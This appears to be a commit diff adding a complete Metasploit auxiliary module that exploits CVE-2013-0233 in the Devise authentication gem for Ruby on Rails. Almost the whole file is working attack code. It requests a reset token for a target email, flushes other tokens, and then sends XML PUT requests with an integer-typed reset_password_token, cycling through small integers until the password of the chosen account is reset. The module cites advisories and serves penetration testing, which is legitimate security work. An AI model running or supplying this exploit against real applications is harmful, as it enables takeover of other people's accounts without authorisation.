1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Exploit ::Remote ::HttpClient
13
+
14
+ def initialize ( info = { } )
15
+ super ( update_info ( info ,
16
+ 'Name' => 'Rails Devise authentication gem Password Reset' ,
17
+ 'Description' => %q{
18
+ The Devise authentication gem for Ruby on Rails is vulnerable
19
+ to a password reset exploit leveraging type confusion. By submitting XML
20
+ to rails, we can influence the type used for the reset_password_token
21
+ parameter. This allows for resetting passwords of arbitrary accounts,
22
+ knowing only the associated email address.
23
+
24
+ This module defaults to the most common devise URIs and response values,
25
+ but these may require adjustment for implementations which customize them.
26
+
27
+ Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
28
+ except PostgreSQL or SQLite3.
29
+
30
+ Tested w/ v2.2.2, 2.1.2, and 2.0.4.
31
+ } ,
32
+ 'Author' =>
33
+ [
34
+ 'joernchen' , #original discovery and disclosure
35
+ 'jjarmoc' , #metasploit module
36
+ ] ,
37
+ 'License' => MSF_LICENSE ,
38
+ 'References' =>
39
+ [
40
+ [ 'CVE' , 'CVE-2013-0233' ] ,
41
+ [ 'URL' , 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/' ] ,
42
+ [ 'URL' , 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html' ] ,
43
+ ] ,
44
+ 'DisclosureDate' => 'Jan 28 2013'
45
+ ) )
46
+
47
+ register_options (
48
+ [
49
+ OptString . new ( 'URIPATH' , [ true , "The request URI" , '/users/password' ] ) ,
50
+ OptString . new ( 'TARGETEMAIL' , [ true , "The Email address of target account" , '' ] ) ,
51
+ OptString . new ( 'PASSWORD' , [ true , 'The password to set' , "#{ Rex ::Text . rand_text_alpha ( rand ( 10 ) + 5 ) } " ] ) ,
52
+ OptBool . new ( 'FLUSHTOKENS' , [ true , 'Flush existing reset tokens before trying' , true ] ) ,
53
+ OptInt . new ( 'MAXINT' , [ true , "Max integer to try (Tokens begining with a higher int will fail)" , 10 ] )
54
+ ] , self . class )
55
+ end
56
+
57
+ def generate_token ( account )
58
+ # CSRF token from GET "/users/password/new" isn't actually validated it seems.
59
+
60
+ print_status ( "Generating reset token for #{ account } " )
61
+
62
+ postdata = "user[email]=#{ account } "
63
+
64
+ res = send_request_cgi ( {
65
+ 'uri' => datastore [ 'URIPATH' ] ,
66
+ 'method' => 'POST' ,
67
+ 'data' => postdata ,
68
+ } )
69
+ end
70
+
71
+ def clear_tokens ( )
72
+ print_status ( "Clearing existing tokens" )
73
+ count = 0
74
+ status = true
75
+ until ( status == false ) do
76
+ status = reset_one ( Rex ::Text . rand_text_alpha ( rand ( 10 ) + 5 ) )
77
+ count += 1 if status
78
+ end
79
+ print_status ( "Cleared #{ count } tokens" )
80
+ end
81
+
82
+ def reset_one ( password , report = false )
83
+ print_status ( "Resetting password to \" #{ datastore [ 'PASSWORD' ] } \" " ) if report
84
+
85
+ ( 0 ..datastore [ 'MAXINT' ] ) . each { |int_to_try |
86
+ xml = ""
87
+ xml << "<user>"
88
+ xml << "<password>#{ password } </password>"
89
+ xml << "<password_confirmation>#{ password } </password_confirmation>"
90
+ xml << "<reset_password_token type=\" integer\" >#{ int_to_try } </reset_password_token>"
91
+ xml << "</user>"
92
+
93
+ res = send_request_cgi ( {
94
+ 'uri' => datastore [ 'URIPATH' ] || "/" ,
95
+ 'method' => 'PUT' ,
96
+ 'ctype' => 'application/xml' ,
97
+ 'data' => xml ,
98
+ } )
99
+
100
+ #binding.pry if report
101
+
102
+ case res . code
103
+ when 200
104
+ # Failure, grab the error text
105
+ # May need to tweak this for some apps...
106
+ error_text = res . body [ /<div id=\" error_explanation\" >\n \s +(.*?)<\/ div>/m , 1 ]
107
+ if ( report ) && ( error_text !~ /token/ )
108
+ print_error ( "Server returned an error:" )
109
+ print_error ( error_text )
110
+ return false
111
+ end
112
+ when 302
113
+ #Success!
114
+ return true
115
+ else
116
+ print_error ( "ERROR: received code #{ res . code } " )
117
+ return false
118
+ end
119
+ }
120
+
121
+ print_error ( "No active reset tokens below #{ datastore [ 'MAXINT' ] } remain.
122
+ Try a higher MAXINT." ) if report
123
+ return false
124
+
125
+ end
126
+
127
+ def run
128
+ # Clear outstanding reset tokens, helps ensure we hit the intended account.
129
+ clear_tokens ( ) if datastore [ 'FLUSHTOKENS' ]
130
+
131
+ # Generate a token for our account
132
+ generate_token ( datastore [ 'TARGETEMAIL' ] )
133
+
134
+ # Reset a password. We're racing users creating other reset tokens.
135
+ # If we didn't flush, we'll reset the account with the lowest ID that has a token.
136
+ status = reset_one ( datastore [ 'PASSWORD' ] , true )
137
+ status ? print_good ( "Success" ) : print_error ( "Failed" )
138
+ end
139
+ end
0 commit comments